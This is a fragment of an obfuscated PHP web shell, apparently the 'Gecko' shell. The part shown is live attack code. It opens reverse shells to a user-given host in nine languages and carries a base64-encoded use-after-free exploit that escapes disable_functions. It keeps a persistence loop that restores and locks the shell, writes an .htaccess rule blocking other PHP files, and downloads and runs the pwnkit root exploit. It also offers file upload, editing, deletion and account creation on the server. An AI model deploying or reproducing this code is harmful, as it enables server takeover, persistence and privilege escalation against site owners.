${${"GLOBALS"}["ffhwthehfke"]}[24](".mad-root");
}
echo "</textarea>
<form action=\"\" method=\"post\">
<ul>
<li><input type=\"text\" name=\"root-terminal\" class=\"terminal-input\" placeholder=\"";
echo "root" . "@" . $_SERVER["SERVER_ADDR"];
echo "\" autofocus></li>
<li><input type=\"submit\" name=\"submit-root\" value=\">\" class=\"btn-modal-close\"></li>
</ul>
</form>
</div>
</div>
</div>
";
}
echo "
";
if ($_GET["re"] == true) {
echo " <div class=\"modal active\">
<div class=\"modal-container\">
<div class=\"modal-header\">
<h3><b><i id=\"modal-title\">Rename : ";
echo unx($_GET["re"]);
echo "</i></b></h3>
</div>
<div class=\"modal-body\">
<form action=\"\" method=\"post\">
<span id=\"modal-input\"><input type=\"text\" name=\"renameFile\" class=\"modal-create-input\" placeholder=\"Rename\"></span>
<div class=\"modal-btn-form\">
<input type=\"submit\" name=\"submit\" value=\"Submit\" class=\"btn-modal-close box-shadow\"> <button class=\"btn-modal-close box-shadow close-btn-s\">Close</button>
</div>
</form>
</div>
</div>
</div>
</div>
";
}
echo "
";
if ($_GET["ch"] == true) {
echo " <div class=\"modal active\">
<div class=\"modal-container\">
<div class=\"modal-header\">
<h3><b><i id=\"modal-title\">Change Permission : ";
echo unx($_GET["ch"]);
echo "</i></b></h3>
</div>
<div class=\"modal-body\">
<form action=\"\" method=\"post\">
<span id=\"modal-input\"><input type=\"number\" name=\"chFile\" class=\"modal-create-input\" placeholder=\"0775\"></span>
<div class=\"modal-btn-form\">
<input type=\"submit\" name=\"submit\" value=\"Submit\" class=\"btn-modal-close box-shadow\"> <button class=\"btn-modal-close box-shadow close-btn-s\">Close</button>
</div>
</form>
</div>
</div>
</div>
</div>
";
}
echo "
<script>
\$(document).ready(function() {
\$('#create_folder').click(function() {
\$('.modal').show();
\$('#modal-title').html('<i class=\"fa-solid fa-folder-plus\"></i> Create Folder');
\$('#modal-input').html('<input type=\"text\" name=\"create_folder\" class=\"modal-create-input\" placeholder=\"Create Folder\">');
event.preventDefault();
});
\$('#create_file').click(function() {
\$('.modal').show();
\$('#modal-title').html('<i class=\"fa-solid fa-file-circle-plus\"></i> Create File');
\$('#modal-input').html('<input type=\"text\" name=\"create_file\" class=\"modal-create-input\" placeholder=\"Create File\">');
event.preventDefault();
});
\$('#lock-file').click(function() {
\$('.modal').show();
\$('#modal-title').html('<i class=\"fa-solid fa-lock\"></i> LOCK FILE');
\$('#modal-input').html('<input type=\"text\" name=\"lockfile\" class=\"modal-create-input\" placeholder=\"Your File Name\">');
event.preventDefault();
});
\$('#root-user').click(function() {
\$('.modal').show();
\$('#modal-title').html('<i class=\"fa-solid fa-user-plus\"></i> ADD USER');
\$('#modal-input').html('<input type=\"text\" name=\"add-username\" class=\"modal-create-input\" placeholder=\"Username\"><br><br><input type=\"text\" name=\"add-password\" class=\"modal-create-input\" placeholder=\"Password\">');
event.preventDefault();
});
\$('#create-rdp').click(function() {
\$('.modal').show();
\$('#modal-title').html(':: CREATE RDP');
\$('#modal-input').html('<input type=\"text\" name=\"add-rdp\" class=\"modal-create-input\" placeholder=\"Username\"><br><br><input type=\"text\" name=\"add-rdp-pass\" class=\"modal-create-input\" placeholder=\"Password\">');
event.preventDefault();
});
\$('#close-modal').click(function() {
\$('.modal').hide();
event.preventDefault();
});
\$('#close-editor').click(function() {
\$('.code-editor').hide();
event.preventDefault();
});
\$('.close-terminal').click(function() {
\$('.terminal').hide();
event.preventDefault();
});
\$('.close-btn-s').click(function() {
\$('.modal').hide();
event.preventDefault();
});
});
</script>
</body>
</html>
";
if (isset($_POST["submit-bc"])) {
${"GLOBALS"}["oclhmdpoma"] = "PortServer";
${${"GLOBALS"}["asqxyupgfaa"]} = $_POST["backconnect-host"];
${${"GLOBALS"}["oclhmdpoma"]} = $_POST["backconnect-port"];
if ($_POST["gecko-bc"] == "perl") {
$vzdlkhskqyz = "HostServer";
echo cmd("perl -e 'use Socket;\$i=\"" . ${$vzdlkhskqyz} . "\";\$p=" . ${${"GLOBALS"}["onmtulj"]} . ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'");
} else if ($_POST["gecko-bc"] == "python") {
${"GLOBALS"}["hkrdyrymu"] = "PortServer";
$igilbvwnbdy = "HostServer";
echo cmd("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" . ${$igilbvwnbdy} . "\"," . ${${"GLOBALS"}["hkrdyrymu"]} . "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'");
} else if ($_POST["gecko-bc"] == "ruby") {
echo cmd("ruby -rsocket -e'f=TCPSocket.open(\"" . ${${"GLOBALS"}["asqxyupgfaa"]} . "\"," . ${${"GLOBALS"}["onmtulj"]} . ").to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'");
} else if ($_POST["gecko-bc"] == "bash") {
$igituk = "HostServer";
${"GLOBALS"}["jigalchm"] = "PortServer";
echo cmd("bash -i >& /dev/tcp/" . ${$igituk} . "/" . ${${"GLOBALS"}["jigalchm"]} . " 0>&1");
} else if ($_POST["gecko-bc"] == "php") {
$fiqeplosj = "PortServer";
echo cmd("php -r '\$sock=fsockopen(\"" . ${${"GLOBALS"}["asqxyupgfaa"]} . "\"," . ${$fiqeplosj} . ");exec(\"/bin/sh -i <&3 >&3 2>&3\");'");
} else if ($_POST["gecko-bc"] == "nc") {
echo cmd("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " . ${${"GLOBALS"}["asqxyupgfaa"]} . " " . ${${"GLOBALS"}["onmtulj"]} . " >/tmp/f");
} else if ($_POST["gecko-bc"] == "sh") {
$sqggcn = "PortServer";
${"GLOBALS"}["kfmvgeebstj"] = "HostServer";
echo cmd("sh -i >& /dev/tcp/" . ${${"GLOBALS"}["kfmvgeebstj"]} . "/" . ${$sqggcn} . " 0>&1");
} else if ($_POST["gecko-bc"] == "xterm") {
${"GLOBALS"}["uifkeyprrrd"] = "HostServer";
echo cmd("xterm -display " . ${${"GLOBALS"}["uifkeyprrrd"]} . ":" . ${${"GLOBALS"}["onmtulj"]});
} else if ($_POST["gecko-bc"] == "golang") {
${"GLOBALS"}["vymdumjjwl"] = "HostServer";
echo cmd("echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"" . ${${"GLOBALS"}["vymdumjjwl"]} . ":" . ${${"GLOBALS"}["onmtulj"]} . "\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go");
}
}
if ($_GET["terminal"] == "bypasser") {
$jnhbeipkkng = "fungsi";
${"GLOBALS"}["yigkxcixwx"] = "fungsi";
if (!${$jnhbeipkkng}[3](".term-bypass") && ${${"GLOBALS"}["ffhwthehfke"]}[4](${${"GLOBALS"}["yigkxcixwx"]}[0]())) {
$cchjfh = "connt";
${$cchjfh} = "PD9waHAKZnVuY3Rpb24gcHduKCRjbWRkKSB7CiAgICBnbG9iYWwgJGFiYywgJGhlbHBlciwgJGJhY2t0cmFjZTsKCiAgICBjbGFzcyBWdWxuIHsKICAgICAgICBwdWJsaWMgJGE7CiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKSB7IAogICAgICAgICAgICBnbG9iYWwgJGJhY2t0cmFjZTsgCiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hKTsKICAgICAgICAgICAgJGJhY2t0cmFjZSA9IChuZXcgRXhjZXB0aW9uKS0+Z2V0VHJhY2UoKTsgIyA7KQogICAgICAgICAgICBpZighaXNzZXQoJGJhY2t0cmFjZVsxXVsnYXJncyddKSkgeyAjIFBIUCA+PSA3LjQKICAgICAgICAgICAgICAgICRiYWNrdHJhY2UgPSBkZWJ1Z19iYWNrdHJhY2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBjbGFzcyBIZWxwZXIgewogICAgICAgIHB1YmxpYyAkYSwgJGIsICRjLCAkZDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdHIycHRyKCYkc3RyLCAkcCA9IDAsICRzID0gOCkgewogICAgICAgICRhZGRyZXNzID0gMDsKICAgICAgICBmb3IoJGogPSAkcy0xOyAkaiA+PSAwOyAkai0tKSB7CiAgICAgICAgICAgICRhZGRyZXNzIDw8PSA4OwogICAgICAgICAgICAkYWRkcmVzcyB8PSBvcmQoJHN0clskcCskal0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGFkZHJlc3M7CiAgICB9CgogICAgZnVuY3Rpb24gcHRyMnN0cigkcHRyLCAkbSA9IDgpIHsKICAgICAgICAkb3V0ID0gIiI7CiAgICAgICAgZm9yICgkaT0wOyAkaSA8ICRtOyAkaSsrKSB7CiAgICAgICAgICAgICRvdXQgLj0gY2hyKCRwdHIgJiAweGZmKTsKICAgICAgICAgICAgJHB0ciA+Pj0gODsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRvdXQ7CiAgICB9CgogICAgZnVuY3Rpb24gd3JpdGUoJiRzdHIsICRwLCAkdiwgJG4gPSA4KSB7CiAgICAgICAgJGkgPSAwOwogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgJG47ICRpKyspIHsKICAgICAgICAgICAgJHN0clskcCArICRpXSA9IGNocigkdiAmIDB4ZmYpOwogICAgICAgICAgICAkdiA+Pj0gODsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gbGVhaygkYWRkciwgJHAgPSAwLCAkcyA9IDgpIHsKICAgICAgICBnbG9iYWwgJGFiYywgJGhlbHBlcjsKICAgICAgICB3cml0ZSgkYWJjLCAweDY4LCAkYWRkciArICRwIC0gMHgxMCk7CiAgICAgICAgJGxlYWsgPSBzdHJsZW4oJGhlbHBlci0+YSk7CiAgICAgICAgaWYoJHMgIT0gOCkgeyAkbGVhayAlPSAyIDw8ICgkcyAqIDgpIC0gMTsgfQogICAgICAgIHJldHVybiAkbGVhazsKICAgIH0KCiAgICBmdW5jdGlvbiBwYXJzZV9lbGYoJGJhc2UpIHsKICAgICAgICAkZV90eXBlID0gbGVhaygkYmFzZSwgMHgxMCwgMik7CgogICAgICAgICRlX3Bob2ZmID0gbGVhaygkYmFzZSwgMHgyMCk7CiAgICAgICAgJGVfcGhlbnRzaXplID0gbGVhaygkYmFzZSwgMHgzNiwgMik7CiAgICAgICAgJGVfcGhudW0gPSBsZWFrKCRiYXNlLCAweDM4LCAyKTsKCiAgICAgICAgZm9yKCRpID0gMDsgJGkgPCAkZV9waG51bTsgJGkrKykgewogICAgICAgICAgICAkaGVhZGVyID0gJGJhc2UgKyAkZV9waG9mZiArICRpICogJGVfcGhlbnRzaXplOwogICAgICAgICAgICAkcF90eXBlICA9IGxlYWsoJGhlYWRlciwgMCwgNCk7CiAgICAgICAgICAgICRwX2ZsYWdzID0gbGVhaygkaGVhZGVyLCA0LCA0KTsKICAgICAgICAgICAgJHBfdmFkZHIgPSBsZWFrKCRoZWFkZXIsIDB4MTApOwogICAgICAgICAgICAkcF9tZW1zeiA9IGxlYWsoJGhlYWRlciwgMHgyOCk7CgogICAgICAgICAgICBpZigkcF90eXBlID09IDEgJiYgJHBfZmxhZ3MgPT0gNikgeyAjIFBUX0xPQUQsIFBGX1JlYWRfV3JpdGUKICAgICAgICAgICAgICAgICMgaGFuZGxlIHBpZQogICAgICAgICAgICAgICAgJGRhdGFfYWRkciA9ICRlX3R5cGUgPT0gMiA/ICRwX3ZhZGRyIDogJGJhc2UgKyAkcF92YWRkcjsKICAgICAgICAgICAgICAgICRkYXRhX3NpemUgPSAkcF9tZW1zejsKICAgICAgICAgICAgfSBlbHNlIGlmKCRwX3R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA1KSB7ICMgUFRfTE9BRCwgUEZfUmVhZF9leGVjCiAgICAgICAgICAgICAgICAkdGV4dF9zaXplID0gJHBfbWVtc3o7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmKCEkZGF0YV9hZGRyIHx8ICEkdGV4dF9zaXplIHx8ICEkZGF0YV9zaXplKQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CgogICAgICAgIHJldHVybiBbJGRhdGFfYWRkciwgJHRleHRfc2l6ZSwgJGRhdGFfc2l6ZV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0X2Jhc2ljX2Z1bmNzKCRiYXNlLCAkZWxmKSB7CiAgICAgICAgbGlzdCgkZGF0YV9hZGRyLCAkdGV4dF9zaXplLCAkZGF0YV9zaXplKSA9ICRlbGY7CiAgICAgICAgZm9yKCRpID0gMDsgJGkgPCAkZGF0YV9zaXplIC8gODsgJGkrKykgewogICAgICAgICAgICAkbGVhayA9IGxlYWsoJGRhdGFfYWRkciwgJGkgKiA4KTsKICAgICAgICAgICAgaWYoJGxlYWsgLSAkYmFzZSA+IDAgJiYgJGxlYWsgLSAkYmFzZSA8ICRkYXRhX2FkZHIgLSAkYmFzZSkgewogICAgICAgICAgICAgICAgJGRlcmVmID0gbGVhaygkbGVhayk7CiAgICAgICAgICAgICAgICAjICdjb25zdGFudCcgY29uc3RhbnQgY2hlY2sKICAgICAgICAgICAgICAgIGlmKCRkZXJlZiAhPSAweDc0NmU2MTc0NzM2ZTZmNjMpCiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0gZWxzZSBjb250aW51ZTsKCiAgICAgICAgICAgICRsZWFrID0gbGVhaygkZGF0YV9hZGRyLCAoJGkgKyA0KSAqIDgpOwogICAgICAgICAgICBpZigkbGVhayAtICRiYXNlID4gMCAmJiAkbGVhayAtICRiYXNlIDwgJGRhdGFfYWRkciAtICRiYXNlKSB7CiAgICAgICAgICAgICAgICAkZGVyZWYgPSBsZWFrKCRsZWFrKTsKICAgICAgICAgICAgICAgICMgJ2JpbjJoZXgnIGNvbnN0YW50IGNoZWNrCiAgICAgICAgICAgICAgICBpZigkZGVyZWYgIT0gMHg3ODY1NjgzMjZlNjk2MikKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfSBlbHNlIGNvbnRpbnVlOwoKICAgICAgICAgICAgcmV0dXJuICRkYXRhX2FkZHIgKyAkaSAqIDg7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGdldF9iaW5hcnlfYmFzZSgkYmluYXJ5X2xlYWspIHsKICAgICAgICAkYmFzZSA9IDA7CiAgICAgICAgJHN0YXJ0ID0gJGJpbmFyeV9sZWFrICYgMHhmZmZmZmZmZmZmZmZmMDAwOwogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMDAwOyAkaSsrKSB7CiAgICAgICAgICAgICRhZGRyID0gJHN0YXJ0IC0gMHgxMDAwICogJGk7CiAgICAgICAgICAgICRsZWFrID0gbGVhaygkYWRkciwgMCwgNyk7CiAgICAgICAgICAgIGlmKCRsZWFrID09IDB4MTAxMDI0NjRjNDU3ZikgeyAjIEVMRiBoZWFkZXIKICAgICAgICAgICAgICAgIHJldHVybiAkYWRkcjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRfc3lzdGVtKCRiYXNpY19mdW5jcykgewogICAgICAgICRhZGRyID0gJGJhc2ljX2Z1bmNzOwogICAgICAgIGRvIHsKICAgICAgICAgICAgJGZfZW50cnkgPSBsZWFrKCRhZGRyKTsKICAgICAgICAgICAgJGZfbmFtZSA9IGxlYWsoJGZfZW50cnksIDAsIDYpOwoKICAgICAgICAgICAgaWYoJGZfbmFtZSA9PSAweDZkNjU3NDczNzk3MykgeyAjIHN5c3RlbQogICAgICAgICAgICAgICAgcmV0dXJuIGxlYWsoJGFkZHIgKyA4KTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYWRkciArPSAweDIwOwogICAgICAgIH0gd2hpbGUoJGZfZW50cnkgIT0gMCk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyaWdnZXJfdWFmKCRhcmcpIHsKICAgICAgICAjIHN0cl9zaHVmZmxlIHByZXZlbnRzIG9wY2FjaGUgc3RyaW5nIGludGVybmluZwogICAgICAgICRhcmcgPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgNzkpKTsKICAgICAgICAkdnVsbiA9IG5ldyBWdWxuKCk7CiAgICAgICAgJHZ1bG4tPmEgPSAkYXJnOwogICAgfQoKICAgIGlmKHN0cmlzdHIoUEhQX09TLCAnV0lOJykpIHsKICAgICAgICBkaWUoJ1RoaXMgUG9DIGlzIGZvciAqbml4IHN5c3RlbXMgb25seS4nKTsKICAgIH0KCiAgICAkbl9hbGxvYyA9IDEwOyAjIGluY3JlYXNlIHRoaXMgdmFsdWUgaWYgVUFGIGZhaWxzCiAgICAkY29udGlndW91cyA9IFtdOwogICAgZm9yKCRpID0gMDsgJGkgPCAkbl9hbGxvYzsgJGkrKykKICAgICAgICAkY29udGlndW91c1tdID0gc3RyX3NodWZmbGUoc3RyX3JlcGVhdCgnQScsIDc5KSk7CgogICAgdHJpZ2dlcl91YWYoJ3gnKTsKICAgICRhYmMgPSAkYmFja3RyYWNlWzFdWydhcmdzJ11bMF07CgogICAgJGhlbHBlciA9IG5ldyBIZWxwZXI7CiAgICAkaGVscGVyLT5iID0gZnVuY3Rpb24gKCR4KSB7IH07CgogICAgaWYoc3RybGVuKCRhYmMpID09IDc5IHx8IHN0cmxlbigkYWJjKSA9PSAwKSB7CiAgICAgICAgZGllKCJVQUYgZmFpbGVkIik7CiAgICB9CgogICAgIyBsZWFrcwogICAgJGNsb3N1cmVfaGFuZGxlcnMgPSBzdHIycHRyKCRhYmMsIDApOwogICAgJHBocF9oZWFwID0gc3RyMnB0cigkYWJjLCAweDU4KTsKICAgICRhYmNfYWRkciA9ICRwaHBfaGVhcCAtIDB4Yzg7CgogICAgIyBmYWtlIHZhbHVlCiAgICB3cml0ZSgkYWJjLCAweDYwLCAyKTsKICAgIHdyaXRlKCRhYmMsIDB4NzAsIDYpOwoKICAgICMgZmFrZSByZWZlcmVuY2UKICAgIHdyaXRlKCRhYmMsIDB4MTAsICRhYmNfYWRkciArIDB4NjApOwogICAgd3JpdGUoJGFiYywgMHgxOCwgMHhhKTsKCiAgICAkY2xvc3VyZV9vYmogPSBzdHIycHRyKCRhYmMsIDB4MjApOwoKICAgICRiaW5hcnlfbGVhayA9IGxlYWsoJGNsb3N1cmVfaGFuZGxlcnMsIDgpOwogICAgaWYoISgkYmFzZSA9IGdldF9iaW5hcnlfYmFzZSgkYmluYXJ5X2xlYWspKSkgewogICAgICAgIGRpZSgiQ291bGRuJ3QgZGV0ZXJtaW5lIGJpbmFyeSBiYXNlIGFkZHJlc3MiKTsKICAgIH0KCiAgICBpZighKCRlbGYgPSBwYXJzZV9lbGYoJGJhc2UpKSkgewogICAgICAgIGRpZSgiQ291bGRuJ3QgcGFyc2UgRUxGIGhlYWRlciIpOwogICAgfQoKICAgIGlmKCEoJGJhc2ljX2Z1bmNzID0gZ2V0X2Jhc2ljX2Z1bmNzKCRiYXNlLCAkZWxmKSkpIHsKICAgICAgICBkaWUoIkNvdWxkbid0IGdldCBiYXNpY19mdW5jdGlvbnMgYWRkcmVzcyIpOwogICAgfQoKICAgIGlmKCEoJHppZl9zeXN0ZW0gPSBnZXRfc3lzdGVtKCRiYXNpY19mdW5jcykpKSB7CiAgICAgICAgZGllKCJDb3VsZG4ndCBnZXQgemlmX3N5c3RlbSBhZGRyZXNzIik7CiAgICB9CgogICAgIyBmYWtlIGNsb3N1cmUgb2JqZWN0CiAgICAkZmFrZV9vYmpfb2Zmc2V0ID0gMHhkMDsKICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMTA7ICRpICs9IDgpIHsKICAgICAgICB3cml0ZSgkYWJjLCAkZmFrZV9vYmpfb2Zmc2V0ICsgJGksIGxlYWsoJGNsb3N1cmVfb2JqLCAkaSkpOwogICAgfQoKICAgICMgcHduCiAgICB3cml0ZSgkYWJjLCAweDIwLCAkYWJjX2FkZHIgKyAkZmFrZV9vYmpfb2Zmc2V0KTsKICAgIHdyaXRlKCRhYmMsIDB4ZDAgKyAweDM4LCAxLCA0KTsgIyBpbnRlcm5hbCBmdW5jIHR5cGUKICAgIHdyaXRlKCRhYmMsIDB4ZDAgKyAweDY4LCAkemlmX3N5c3RlbSk7ICMgaW50ZXJuYWwgZnVuYyBoYW5kbGVyCgogICAgKCRoZWxwZXItPmIpKCRjbWRkKTsKfQ==";
${${"GLOBALS"}["ffhwthehfke"]}[28](".term-bypass", base64_decode(${${"GLOBALS"}["vbysbyqmoir"]}));
}
}
if (isset($_GET["lockshell"])) {
$yymgacvacj = "curFile";
${"GLOBALS"}["kwnmjfmvr"] = "TmpNames";
${"GLOBALS"}["ifhkaz"] = "fungsi";
${"GLOBALS"}["owmeir"] = "TmpNames";
$jgnjeypto = "fungsi";
${"GLOBALS"}["uscsletrlqs"] = "fungsi";
${"GLOBALS"}["kniyeehu"] = "hndlers";
${"GLOBALS"}["mqttlsuvg"] = "fungsi";
${"GLOBALS"}["zpokhfunytr"] = "TmpNames";
$yrqqonwycp = "curFile";
${"GLOBALS"}["moxkrqaybfp"] = "TmpNames";
$taishgndtfu = "hndlers";
${${"GLOBALS"}["prsrvsm"]} = trim(basename($_SERVER["SCRIPT_FILENAME"]));
$nelxwnrfxcs = "fungsi";
$hdacmgwp = "fungsi";
$orhsuwtkdrnd = "handler";
${"GLOBALS"}["towrvjmuck"] = "curFile";
${"GLOBALS"}["bfyhmwrsgpsd"] = "curFile";
$uimcetjsmb = "TmpNames";
${"GLOBALS"}["mpjsxb"] = "curFile";
${${"GLOBALS"}["dbqsqfmq"]} = ${$hdacmgwp}[31]();
if (file_exists(${${"GLOBALS"}["owmeir"]} . "/.sessions/." . base64_encode(${$nelxwnrfxcs}[0]() . remove_dot(${${"GLOBALS"}["bfyhmwrsgpsd"]}) . "-handler")) && file_exists(${${"GLOBALS"}["zpokhfunytr"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["mqttlsuvg"]}[0]() . remove_dot(${${"GLOBALS"}["prsrvsm"]}) . "-text"))) {
$rfwktnqdi = "TmpNames";
$ipeebwy = "fungsi";
${"GLOBALS"}["cxqgbqvz"] = "curFile";
${"GLOBALS"}["goafmpoh"] = "curFile";
cmd("rm -rf " . ${$rfwktnqdi} . "/.sessions/." . base64_encode(${$ipeebwy}[0]() . remove_dot(${${"GLOBALS"}["goafmpoh"]}) . "-text"));
cmd("rm -rf " . ${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${${"GLOBALS"}["cxqgbqvz"]}) . "-handler"));
}
mkdir(${${"GLOBALS"}["moxkrqaybfp"]} . "/.sessions");
$pgvnskgnqw = "fungsi";
cmd("cp $curFile " . ${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["uscsletrlqs"]}[0]() . remove_dot(${${"GLOBALS"}["prsrvsm"]}) . "-text"));
chmod(${${"GLOBALS"}["mpjsxb"]}, 0444);
${${"GLOBALS"}["rkgfykokmyu"]} = "
<?php
@ini_set(\"max_execution_time\", 0);
while (True){
if (!file_exists(\"" . __DIR__ . "\")){
mkdir(\"" . __DIR__ . "\");
}
if (!file_exists(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["prsrvsm"]} . "\")){
\$text = base64_encode(file_get_contents(\"" . ${${"GLOBALS"}["kwnmjfmvr"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ifhkaz"]}[0]() . remove_dot(${${"GLOBALS"}["towrvjmuck"]}) . "-text") . "\"));
file_put_contents(\"" . ${$jgnjeypto}[0]() . "/" . ${${"GLOBALS"}["prsrvsm"]} . "\", base64_decode(\$text));
}
if (gecko_perm(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${$yymgacvacj} . "\") != 0444){
chmod(\"" . ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["prsrvsm"]} . "\", 0444);
}
if (gecko_perm(\"" . __DIR__ . "\") != 0555){
chmod(\"" . __DIR__ . "\", 0555);
}
}
function gecko_perm(\$flename){
return substr(sprintf(\"%o\", fileperms(\$flename)), -4);
}
";
$nlnkqqe = "fungsi";
${$taishgndtfu} = ${$pgvnskgnqw}[28](${$uimcetjsmb} . "/.sessions/." . base64_encode(${$nlnkqqe}[0]() . remove_dot(${$yrqqonwycp}) . "-handler") . "", ${$orhsuwtkdrnd});
if (${${"GLOBALS"}["kniyeehu"]}) {
${"GLOBALS"}["rcbsfbhhw"] = "curFile";
cmd("php " . ${${"GLOBALS"}["dbqsqfmq"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["ffhwthehfke"]}[0]() . remove_dot(${${"GLOBALS"}["rcbsfbhhw"]}) . "-handler") . " > /dev/null 2>/dev/null &");
success();
} else {
failed();
}
}
if (isset($_POST["gecko-up-submit"])) {
${"GLOBALS"}["llzjfekd"] = "fungsi";
${"GLOBALS"}["qlulriwekku"] = "tmpName";
${${"GLOBALS"}["oaozwlw"]} = $_FILES["gecko-upload"]["name"];
${${"GLOBALS"}["qlulriwekku"]} = $_FILES["gecko-upload"]["tmp_name"];
if (${${"GLOBALS"}["llzjfekd"]}[29](${${"GLOBALS"}["ikchyqomiv"]}, ${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["oaozwlw"]})) {
success();
} else {
failed();
}
}
if (isset($_GET["destroy"])) {
${"GLOBALS"}["scipkt"] = "DOC_ROOT";
$tungiogq = "CurrentFile";
${${"GLOBALS"}["scipkt"]} = $_SERVER["DOCUMENT_ROOT"];
${$tungiogq} = trim(basename($_SERVER["SCRIPT_FILENAME"]));
if (${${"GLOBALS"}["ffhwthehfke"]}[4](${${"GLOBALS"}["dbbudshjycm"]})) {
$wkdltvshns = "put_htt";
${"GLOBALS"}["oitywkqd"] = "DOC_ROOT";
${${"GLOBALS"}["cbuxechbfwy"]} = "
<FilesMatch \"\.(php|ph*|Ph*|PH*|pH*)\$\">
Deny from all
</FilesMatch>
<FilesMatch \"^(" . ${${"GLOBALS"}["cpowqrgjnf"]} . "|index.php|wp-config.php|wp-includes.php)\$\">
Allow from all
</FilesMatch>
<FilesMatch \"\.(jpg|png|gif|pdf|jpeg)\$\">
Allow from all
</FilesMatch>";
$midrsrncedqf = "fungsi";
${${"GLOBALS"}["cbbnsxlolny"]} = ${$midrsrncedqf}[28](${${"GLOBALS"}["oitywkqd"]} . "/.htaccess", ${${"GLOBALS"}["cbuxechbfwy"]});
if (${$wkdltvshns}) {
success();
} else {
failed();
}
} else {
failed();
}
}
if (isset($_POST["save-editor"])) {
$fweaiuwvhj = "save";
$davrseruwt = "save";
${"GLOBALS"}["bytlrnysxb"] = "fungsi";
${$davrseruwt} = ${${"GLOBALS"}["bytlrnysxb"]}[28](${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . unx($_GET["f"]), $_POST["code-editor"]);
if (${$fweaiuwvhj}) {
success();
} else {
failed();
}
}
if (isset($_GET["adminer"])) {
$cllkpvegya = "URL";
${$cllkpvegya} = "https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php";
if (!${${"GLOBALS"}["ffhwthehfke"]}[3]("adminer.php")) {
${"GLOBALS"}["cxwewfjp"] = "fungsi";
cmd("wget " . ${${"GLOBALS"}["xusktnvbnjby"]} . " -O adminer.php --quiet");
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx(${${"GLOBALS"}["cxwewfjp"]}[0]()) . "\">";
}
}
if ($_GET["terminal"] == "root") {
if (!${${"GLOBALS"}["ffhwthehfke"]}[3]("pwnkit") && ${${"GLOBALS"}["ffhwthehfke"]}[4](${${"GLOBALS"}["ffhwthehfke"]}[0]())) {
cmd("wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit");
cmd("chmod +x pwnkit");
echo cmd("./pwnkit id > .mad-root");
echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx(${${"GLOBALS"}["ffhwthehfke"]}[0]()) . "&terminal=root\">";
}
}
if (isset($_POST["submit-action"])) {
${${"GLOBALS"}["jyzluwxvn"]} = $_POST["check"];
if ($_POST["gecko-select"] == "delete") {
foreach (${${"GLOBALS"}["jyzluwxvn"]} as ${${"GLOBALS"}["iminkwh"]}) {
${${"GLOBALS"}["kuphbgrlczg"]} = str_replace("\", "/", ${${"GLOBALS"}["ffhwthehfke"]}[0]());
${${"GLOBALS"}["nrcugmld"]} = ${${"GLOBALS"}["kuphbgrlczg"]} . "/" . ${${"GLOBALS"}["iminkwh"]};
if (is_dir(${${"GLOBALS"}["nrcugmld"]}) || is_file(${${"GLOBALS"}["nrcugmld"]})) {
$gdhqblq = "rmfile";
${"GLOBALS"}["cwiiqsd"] = "fungsi";
${${"GLOBALS"}["hektwrrl"]} = unlinkDir(${${"GLOBALS"}["nrcugmld"]});
${${"GLOBALS"}["sxwndnpdijt"]} = ${${"GLOBALS"}["cwiiqsd"]}[24](${${"GLOBALS"}["nrcugmld"]});
if (${${"GLOBALS"}["hektwrrl"]} || ${${"GLOBALS"}["sxwndnpdijt"]}) {
success();
